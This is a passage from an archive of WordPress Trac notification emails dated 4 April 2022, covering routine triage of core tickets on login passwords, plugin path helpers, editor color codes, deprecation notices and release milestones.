Future Release Component: Administration | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Comment (by peterwilsoncc): Additional commit props: @garrett-eclipse ---- Garrett provided a [attachment:46122.2.diff:ticket:46122 patch on #46122] which covered some of the code needed for this ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/42066#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 05:25:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 05:25:30 -0000 Subject: [wp-trac] [WordPress Trac] #54351: Checking for temp update directories may throw warnings In-Reply-To: <051.12da4c47867c774d67084d53e0d23918@wordpress.org> References: <051.12da4c47867c774d67084d53e0d23918@wordpress.org> Message-ID: <066.43e35331f39b7c32f25814973a9a5f57@wordpress.org> #54351: Checking for temp update directories may throw warnings -------------------------------------------------+------------------------- Reporter: Clorith | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future | Release Component: Site Health | Version: trunk Severity: normal | Resolution: Keywords: needs-patch needs-testing early | Focuses: dev-feedback | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * milestone: 6.0 => Future Release Comment: #51857 was moved to future release last week, so I'll move this alongside it. If this is effectively a clone/sub-task of the other ticket then it might be possible to close it and continue working on the other ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54351#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 05:35:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 05:35:09 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.947768e014f0c80d7e8da50e696a9827@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing needs-refresh | -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * keywords: has-screenshots input-validation has-patch needs-testing => has-screenshots input-validation has-patch needs-testing needs-refresh Comment: [attachment:"47018.diff"] seems to contain a lot of things that are off- focus for this ticket. I'm in favour of the changes going in but they need to be on a dedicated ticket so the testing instructions aren't misleading. As it is, the patch may affect more than the tags/categories/term screen so a wider range of testing is needed, basically anything that uses `wp- ajax-response.js` ---- Testing the new term form: * AJAX request was made on error * The error message was displayed as expected There's a slight but noticeable delay between the field getting a red border and the error message displaying. The result is a little disjointed as an experience, it seems like there are two errors rather than one. I think this needs a little more work before it goes in. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 05:37:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 05:37:27 -0000 Subject: [wp-trac] [WordPress Trac] #50163: Perform a canonical redirect when paginated states of the front page are not found In-Reply-To: <048.165d8bffb8836886d21b5da24cca372d@wordpress.org> References: <048.165d8bffb8836886d21b5da24cca372d@wordpress.org> Message-ID: <063.15ad8c685591588334c3553345a70898@wordpress.org> #50163: Perform a canonical redirect when paginated states of the front page are not found -------------------------------------------------+------------------------- Reporter: dd32 | Owner: | hellofromTonya Type: defect (bug) | Status: assigned Priority: normal | Milestone: Future | Release Component: Canonical | Version: Severity: normal | Resolution: Keywords: has-patch has-screenshots needs- | Focuses: unit-tests early | -------------------------------------------------+------------------------- Changes (by chaion07): * milestone: 6.0 => Future Release Comment: Updating milestone to Future Release as per discussion during today's bug- scrub session. We can always pull this ticket back if the tests happen to land before the beta 1 which gets into effect on April 12. Props to @peterwilsoncc & @costdev Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/50163#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 05:43:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 05:43:45 -0000 Subject: [wp-trac] [WordPress Trac] #55522: Misleading method names plugin_dir_path and plugin_dir_url Message-ID: <060.ee972da12e197e47f5823313dedb8bbd@wordpress.org> #55522: Misleading method names plugin_dir_path and plugin_dir_url ------------------------------+----------------------------- Reporter: subrataemfluence | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: 5.9.2 Severity: normal | Keywords: has-patch Focuses: accessibility | ------------------------------+----------------------------- The method names `plugin_dir_path` and `plugin_dir_url` names are very misleading. Both the methods, as their names suggest should either return the path and URL of the base plugin directory i.e. `wp-content/plugins` or a specific plugin directory based on plugin file path that is supplied in the methods. But in practice, they are designed to reurn any path starting from application root to theme and everything. Logically this is fine but ideally the behaviour should match the method names! The best option would be to have different method names for differnt purposes, e.g. `plugin_dir_path` and `file_path` although they are doing the same thing! But adding two new methods, that too for doing the same thing might not be a good idea. So I would suggest the following so that at least the methods can return base plugin dierectory pth and URL with no or empty value `_FILE_` is passed. {{{#!php <?php /** * Get the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 5.9.2 * * @param string $file The filename of the plugin (__FILE__). Default empty * @return string the filesystem path of the directory that contains the plugin if a filename is specified. Returns the base plugin directory path otherwise. */ function plugin_dir_path( $file = '' ) { return trim( $file ) !== '' ? trailingslashit( dirname( $file ) ) : trailingslashit( WP_CONTENT_DIR . '/plugins' ); } }}} {{{#!php <?php /** * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 5.9.2 * * @param string $file The filename of the plugin (__FILE__). Default empty * @return string the filesystem path of the directory that contains the plugin if a filename is specified. Returns the base plugin directory path otherwise. */ function plugin_dir_url( $file = '' ) { return trim( $file ) !== '' ? trailingslashit( plugins_url( '', $file ) ) : trailingslashit( plugins_url() ); } }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55522> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 05:48:52 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 05:48:52 -0000 Subject: [wp-trac] [WordPress Trac] #55522: Misleading method names plugin_dir_path and plugin_dir_url In-Reply-To: <060.ee972da12e197e47f5823313dedb8bbd@wordpress.org> References: <060.ee972da12e197e47f5823313dedb8bbd@wordpress.org> Message-ID: <075.f3aa16b8dff8fb41103dcf381f5bf29c@wordpress.org> #55522: Misleading method names plugin_dir_path and plugin_dir_url ------------------------------+------------------------------ Reporter: subrataemfluence | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Plugins | Version: 5.9.2 Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility ------------------------------+------------------------------ Changes (by subrataemfluence): * Attachment "55522.patch" added. Suggested enhancement -- Ticket URL: <https://core.trac.wordpress.org/ticket/55522> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 05:51:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 05:51:07 -0000 Subject: [wp-trac] [WordPress Trac] #35500: Login page: user can change password on " " but can't log in with new password. In-Reply-To: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> References: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> Message-ID: <069.3286973f15208a1400451714bfe4470b@wordpress.org> #35500: Login page: user can change password on " " but can't log in with new password. -------------------------------------------------+------------------------- Reporter: antonrinas | Owner: | hellofromTonya Type: defect (bug) | Status: assigned Priority: lowest | Milestone: 6.0 Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh needs- | Focuses: testing | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "35500.2.diff" added. Patch refreshed after testing by @peterwilsoncc. Compares `$_POST['pass1']` to `trim( $_POST['pass2'] )`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35500> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 05:52:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 05:52:30 -0000 Subject: [wp-trac] [WordPress Trac] #35500: Login page: user can change password on " " but can't log in with new password. In-Reply-To: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> References: <054.cf9e3d0204e900fc1a0039fd96a81b85@wordpress.org> Message-ID: <069.032dcba24da9dfbd893117463eb99a67@wordpress.org> #35500: Login page: user can change password on " " but can't log in with new password. -------------------------------------+----------------------------- Reporter: antonrinas | Owner: hellofromTonya Type: defect (bug) | Status: assigned Priority: lowest | Milestone: 6.0 Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------------- Changes (by costdev): * keywords: has-patch needs-refresh needs-testing => has-patch needs- testing Comment: Just added patch [https://core.trac.wordpress.org/attachment/ticket/35500/35500.2.diff 35500.2.diff], which tests well for me using ` space` (note the leading space) in both the password and confirmation field. -- Ticket URL: <https://core.trac.wordpress.org/ticket/35500#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 06:04:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 06:04:26 -0000 Subject: [wp-trac] [WordPress Trac] #53141: Improve permalinks settings error messages In-Reply-To: <055.868fa2235b5616fd9dd891590b2b3d17@wordpress.org> References: <055.868fa2235b5616fd9dd891590b2b3d17@wordpress.org> Message-ID: <070.c6d67c2dceca0ea0b7b5e26fe68fbf3d@wordpress.org> #53141: Improve permalinks settings error messages -------------------------------------+------------------------------------- Reporter: sabernhardt | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Permalinks | Version: Severity: normal | Resolution: Keywords: has-patch needs-copy- | Focuses: administration, ui- review | copy -------------------------------------+------------------------------------- Changes (by sabernhardt): * milestone: Awaiting Review => 6.0 Comment: Three of these five strings already need translating in 6.0, so any further changes would be good to complete within the same cycle. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53141#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 06:15:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 06:15:56 -0000 Subject: [wp-trac] [WordPress Trac] #48222: "Show password" button overlaps with the LastPass icon In-Reply-To: <058.0d699b3273d056c061d95a9b99cee6c0@wordpress.org> References: <058.0d699b3273d056c061d95a9b99cee6c0@wordpress.org> Message-ID: <073.3676f95ed33b98379ec2249f435cf1f2@wordpress.org> #48222: "Show password" button overlaps with the LastPass icon -------------------------------------------------+------------------------- Reporter: SergeyBiryukov | Owner: | sabernhardt Type: enhancement | Status: accepted Priority: normal | Milestone: Future | Release Component: Login and Registration | Version: 5.3 Severity: normal | Resolution: Keywords: has-screenshots has-patch needs- | Focuses: ui design-feedback early needs-refresh | -------------------------------------------------+------------------------- Changes (by chaion07): * milestone: 6.0 => Future Release Comment: We reviewed this ticket during a [https://wordpress.slack.com/archives/C02RQBWTW/p1649051177631849 recent bug-scrub]. Based on the feedback from the team we feel that this ticket including #3534 & #9883 can be moved to Future Release considering only the few days remaining before Feature Freeze gets into effect from 12 April 2022. Props to @sabernhardt Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/48222#comment:70> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 06:23:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 06:23:03 -0000 Subject: [wp-trac] [WordPress Trac] #46748: authenticate filter hook does not behave as expected for priority values less than 20 In-Reply-To: <056.7e637e992c6213b69d9dc692003b41c1@wordpress.org> References: <056.7e637e992c6213b69d9dc692003b41c1@wordpress.org> Message-ID: <071.2592ae4701b1ffa1a457db058883a478@wordpress.org> #46748: authenticate filter hook does not behave as expected for priority values less than 20 -------------------------------------------------+------------------------- Reporter: robert.peake | Owner: | SergeyBiryukov Type: defect (bug) | Status: accepted Priority: normal | Milestone: Future | Release Component: Login and Registration | Version: 3.7 Severity: normal | Resolution: Keywords: has-unit-tests early needs-patch | Focuses: dev-feedback | -------------------------------------------------+------------------------- Changes (by chaion07): * milestone: 6.0 => Future Release Comment: Thanks @robertpeake for reporting this. We recently reviewed this ticket during a [https://wordpress.slack.com/archives/C02RQBWTW/p1649050894171429 bug-scrub session]. Due to the lack of discussion and the progress we are moving it to Future Release. Props to @costdev & @peterwilsoncc Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/46748#comment:20> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 06:35:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 06:35:18 -0000 Subject: [wp-trac] [WordPress Trac] #9883: Password shows under Settings / Writing In-Reply-To: <051.e255d5d4a3c9798d3dd132222867f489@wordpress.org> References: <051.e255d5d4a3c9798d3dd132222867f489@wordpress.org> Message-ID: <066.54adb61f1b9077a134db5ff7bad6e21c@wordpress.org> #9883: Password shows under Settings / Writing -------------------------------------------------+------------------------- Reporter: mastrup | Owner: (none) Type: enhancement | Status: assigned Priority: low | Milestone: Future | Release Component: Administration | Version: 2.7.1 Severity: trivial | Resolution: Keywords: has-patch needs-testing has- | Focuses: ui, testing-info | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * milestone: 6.0 => Future Release -- Ticket URL: <https://core.trac.wordpress.org/ticket/9883#comment:36> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 06:36:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 06:36:23 -0000 Subject: [wp-trac] [WordPress Trac] #3534: Hide password in setup-config.php In-Reply-To: <051.2cebc3b9bf8bcb4948a7ebdd9a7db537@wordpress.org> References: <051.2cebc3b9bf8bcb4948a7ebdd9a7db537@wordpress.org> Message-ID: <066.d6e4f0ed30146585130fe8d4cf4abed5@wordpress.org> #3534: Hide password in setup-config.php -------------------------------------------------+------------------------- Reporter: xmarcos | Owner: rob1n Type: enhancement | Status: reopened Priority: low | Milestone: Future | Release Component: Upgrade/Install | Version: 2.1 Severity: normal | Resolution: Keywords: has-patch needs-testing has- | Focuses: testing-info | accessibility -------------------------------------------------+------------------------- Changes (by sabernhardt): * milestone: 6.0 => Future Release -- Ticket URL: <https://core.trac.wordpress.org/ticket/3534#comment:47> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 06:48:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 06:48:03 -0000 Subject: [wp-trac] [WordPress Trac] #55519: In Block editor: Copying and inserting color codes makes them invalid In-Reply-To: <054.30bea59f6774efbd1c25d06f4e00bddd@wordpress.org> References: <054.30bea59f6774efbd1c25d06f4e00bddd@wordpress.org> Message-ID: <069.e563507f11ff9435ba84a8c3f4a8a407@wordpress.org> #55519: In Block editor: Copying and inserting color codes makes them invalid --------------------------+-------------------------------- Reporter: treebranch | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: 5.9.2 Severity: normal | Resolution: reported-upstream Keywords: | Focuses: ui --------------------------+-------------------------------- Changes (by sabernhardt): * status: new => closed * resolution: => reported-upstream * milestone: Awaiting Review => Old description: > When you copy a color code from a block by clicking the color code via > the color selection menu, it is automatically copied in this format: > #000000 > However, when inserting a color code in the textfield of the color > selection menu, the string of text is automatically truncated at 6 > characters, which leaves the user with #00000, an invalid color code > which always results in the color black. > > The best solution would be for the text field to be able to accept both > color codes with and without the #. New description: When you copy a color code from a block by clicking the color code via the color selection menu, it is automatically copied in this format: `#000000` However, when inserting a color code in the textfield of the color selection menu, the string of text is automatically truncated at 6 characters, which leaves the user with `#00000`, an invalid color code which always results in the color black. The best solution would be for the text field to be able to accept both color codes with and without the #. -- Comment: Hi and welcome to Trac! Block editor reports belong on the [https://github.com/WordPress/gutenberg/issues/new/choose Gutenberg GitHub Repository]. This bug was already reported and should be fixed in the next release: https://github.com/WordPress/gutenberg/issues/37018 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55519#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 07:02:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 07:02:38 -0000 Subject: [wp-trac] [WordPress Trac] #54926: Deprecated: WP_User_Query was called with an argument that is deprecated since version 5.9.0! In-Reply-To: <056.fa02f8e32cf7adff226e382fb685c1c7@wordpress.org> References: <056.fa02f8e32cf7adff226e382fb685c1c7@wordpress.org> Message-ID: <071.be59a0c573d9103622fcd61fadcf2d05@wordpress.org> #54926: Deprecated: WP_User_Query was called with an argument that is deprecated since version 5.9.0! --------------------------+---------------------- Reporter: sonjaysarker | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Users | Version: 5.9 Severity: normal | Resolution: invalid Keywords: has-patch | Focuses: --------------------------+---------------------- Comment (by ocean90): Replying to [comment:4 iandunn]: > I'm also seeing this intermittently, and it looks like [https://github.com/WordPress/gutenberg/search?q=who:authors Gutenberg may still have several `who:author` queries]. I haven't had time to dig in further, though. This is now tracked in https://github.com/WordPress/gutenberg/issues/39986. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54926#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 07:19:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 07:19:40 -0000 Subject: [wp-trac] [WordPress Trac] #55512: Gallery gap adjustment in Gutenberg 12.9.0 does not work In-Reply-To: <052.ec3b8aa8af75e0e600fa20033f017c63@wordpress.org> References: <052.ec3b8aa8af75e0e600fa20033f017c63@wordpress.org> Message-ID: <067.38594e0fcd816c80f23d5ebc3e1d4ad1@wordpress.org> #55512: Gallery gap adjustment in Gutenberg 12.9.0 does not work --------------------------+------------------------------ Reporter: burnuser | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Gallery | Version: 5.9.2 Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Comment (by burnuser): I get the same result on 3 different test-environments: 1.) local environment from Laragon ... with error-message 2.) TasteWP Sandbox (exists 24h): https://panoramicexchange.s2-tastewp.com/ ... with same error-message: Warning: preg_match() expects parameter 2 to be string, array given in /s2-panoramicexchange/wordpress/wp-content/plugins/gutenberg/build/block- library/blocks/gallery.php on line 51 3.) InstaWP Sandbox (exists 8h): https://jepocu.us4.instawp.xyz/ ... without error-message -- Ticket URL: <https://core.trac.wordpress.org/ticket/55512#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 07:38:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 07:38:37 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.a30393ecdbe02b7f4c54f0720341a424@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------+-------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: performance -------------------------+-------------------------- Comment (by Chouby): The usages I remember having seen for `switch_to_locale()` are for sending emails, creating documents such as PDF invoices and displaying the admin bar in a different language than the main language on frontend. I don't foresee a usage which wpuld require to switch the locale before displaying the backend of widgets. However, if we want to be on the safe side, then it would indeed be necessary to reset the static variables on `change_locale`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 12:00:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 12:00:56 -0000 Subject: [wp-trac] [WordPress Trac] #55499: $pagenow is used but not define in documentation of this function add_customize_screen_to_heartbeat_settings() In-Reply-To: <053.d973e53e11c67a0499e608bd6b3a847e@wordpress.org> References: <053.d973e53e11c67a0499e608bd6b3a847e@wordpress.org> Message-ID: <068.95b1617c373baea1ee0ece1b043e6e37@wordpress.org> #55499: $pagenow is used but not define in documentation of this function add_customize_screen_to_heartbeat_settings() -------------------------------------+--------------------- Reporter: jontyravi | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.9 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: docs -------------------------------------+--------------------- Changes (by SergeyBiryukov): * component: General => Customize * milestone: Awaiting Review => 6.0 Comment: Hi there, thanks for the patches! I think we should add the missing `@global` tag but may want to skip the description for now, as this global is also used in other methods of the same class, as well as many other areas of core, and should probably have a consistent description everywhere. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55499#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 12:01:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 12:01:29 -0000 Subject: [wp-trac] [WordPress Trac] #55523: Remove deprecation notice from get_the_excerpt Message-ID: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> #55523: Remove deprecation notice from get_the_excerpt -------------------------------+----------------------------- Reporter: jamesglendenning | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.9.2 Severity: normal | Keywords: Focuses: | -------------------------------+----------------------------- The deprecation notice for is_bool inside `get_the_excerpt` has long been redundant, it's been well over a decade since this function took a bool value of $fakeit & the deprecation notice is now just making noise, as it will still pass this value through to get_post regardless of it it's a bool value or not. The line for this notice is: https://github.com/WordPress/wordpress- develop/blob/5.9/src/wp-includes/post-template.php#L408 There was previously a Trac ticket that looked at removing the notice, but it looks like it never made it into core: https://core.trac.wordpress.org/ticket/27246 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55523> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 12:02:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 12:02:16 -0000 Subject: [wp-trac] [WordPress Trac] #55499: $pagenow is used but not define in documentation of this function add_customize_screen_to_heartbeat_settings() In-Reply-To: <053.d973e53e11c67a0499e608bd6b3a847e@wordpress.org> References: <053.d973e53e11c67a0499e608bd6b3a847e@wordpress.org> Message-ID: <068.72b407891c571187f8c93d09c5a4f7ec@wordpress.org> #55499: $pagenow is used but not define in documentation of this function add_customize_screen_to_heartbeat_settings() -------------------------------------+----------------------------- Reporter: jontyravi | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.9 Severity: normal | Resolution: fixed Keywords: has-patch needs-refresh | Focuses: docs -------------------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => closed * resolution: => fixed Comment: In [changeset:"53059" 53059]: {{{ #!CommitTicketReference repository="" revision="53059" Docs: Consistently document the `$pagenow` global in `WP_Customize_Manage` methods. Follow-up to [41839]. Props jontyravi, bhrugesh12, kebbet. Fixes #55499. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55499#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 12:04:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 12:04:58 -0000 Subject: [wp-trac] [WordPress Trac] #55523: Remove deprecation notice from get_the_excerpt In-Reply-To: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> References: <060.5c62970b479c4e9312c58dd44a81ca75@wordpress.org> Message-ID: <075.87974f902fd175f8941e65405ed5e820@wordpress.org> #55523: Remove deprecation notice from get_the_excerpt -------------------------------+------------------------------ Reporter: jamesglendenning | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Posts, Post Types | Version: 5.9.2 Severity: normal | Resolution: Keywords: | Focuses: -------------------------------+------------------------------ Description changed by SergeyBiryukov: Old description: > The deprecation notice for is_bool inside `get_the_excerpt` has long been > redundant, it's been well over a decade since this function took a bool > value of $fakeit & the deprecation notice is now just making noise, as it > will still pass this value through to get_post regardless of it it's a > bool value or not. > > The line for this notice is: https://github.com/WordPress/wordpress- > develop/blob/5.9/src/wp-includes/post-template.php#L408 > > There was previously a Trac ticket that looked at removing the notice, > but it looks like it never made it into core: > https://core.trac.wordpress.org/ticket/27246 New description: The deprecation notice for is_bool inside `get_the_excerpt` has long been redundant, it's been well over a decade since this function took a bool value of $fakeit & the deprecation notice is now just making noise, as it will still pass this value through to get_post regardless of it it's a bool value or not. The line for this notice is: https://github.com/WordPress/wordpress- develop/blob/5.9/src/wp-includes/post-template.php#L408 There was previously a Trac ticket that looked at removing the notice, but it looks like it never made it into core: #27246. -- -- Ticket URL: <https://core.trac.wordpress.org/ticket/55523#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 13:28:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 13:28:38 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.a4caf8238fc5d80e5a9c54d924696b9e@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: needs-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by spacedmonkey): I am currently on holiday for the next 2 weeks. So have limited to time look into anything. I agree that the hidden form field sounds reasonable but don’t understand why it is needed. Can either @peterwilsoncc or @johnbillion can a look into this? -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:97> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 14:10:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 14:10:40 -0000 Subject: [wp-trac] [WordPress Trac] #52998: Add a filter to paginate_links to allow bypassing merging query params In-Reply-To: <058.5a9c0f3c6e5991bbcf63772b2da6ecd1@wordpress.org> References: <058.5a9c0f3c6e5991bbcf63772b2da6ecd1@wordpress.org> Message-ID: <073.c051368c99fb1648dd4f48ecc9d19b77@wordpress.org> #52998: Add a filter to paginate_links to allow bypassing merging query params ----------------------------+------------------------------ Reporter: jonoaldersonwp | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: seo | Focuses: performance ----------------------------+------------------------------ Comment (by jonoaldersonwp): Note that this 'vulnerability' is responsible for large-scale SEO flavoured XSS attacks. Attackers can populate psuedo-links, as well as branding or political messaging, and have those persist across multiple paginated states. Those URLs might be crawled, shared, or exposed by other systems. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52998#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 14:43:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 14:43:25 -0000 Subject: [wp-trac] [WordPress Trac] #55524: Menus listing alphabetized bug, Upload pages cleanup, and Hide the browsers. Message-ID: <050.7a435057cbc4a82cc8555ba0c5997d7c@wordpress.org> #55524: Menus listing alphabetized bug, Upload pages cleanup, and Hide the browsers. --------------------------+----------------------------- Reporter: akissz | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- I continuously see new wordpress versions be released without addressing some of these problems... 1.) The Menus listing in the customizer is alphabetized either by default or something else spesific, and I think in my opinion this is a bad bug. The list should be listed the way I write the configuration or menu details, etc. For example, the menu title Footer should not be listed above the menu title Header. 2.) The upload page for the theme upland and the plugin upload, they both seem to function a little bit different visually. It would be a good idea to clean this up a bit so it looks more seamless. 3.) Feature request, ability to hide or disable completely the theme and plugin browsers. So then when disabled the only thing displayed would be the upload button for theme / plugin. I tried a partial disable with php exit script and this functions partly but looks visually bad so I think having a real filter or disable option would be great. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55524> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Mon Apr 4 15:58:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Mon, 04 Apr 2022 15:58:29 -0000 Subject: [wp-trac] [WordPress Trac] #41445: post_parent can prevent media from embedding correctly In-Reply-To: <051.36e9b448a18da0e6248fb03458b3410b@wordpress.org> References: <051.36e9b448a18da0e6248fb03458b3410b@wordpress.org> Message-ID: <066.76e1b92f2200590909cbff52567cfe40@wordpress.org> #41445: post_parent can prevent media from embedding correctly -------------------------------------------------+------------------------- Reporter: loboyle | Owner: | adamsilverstein Type: defect (bug) | 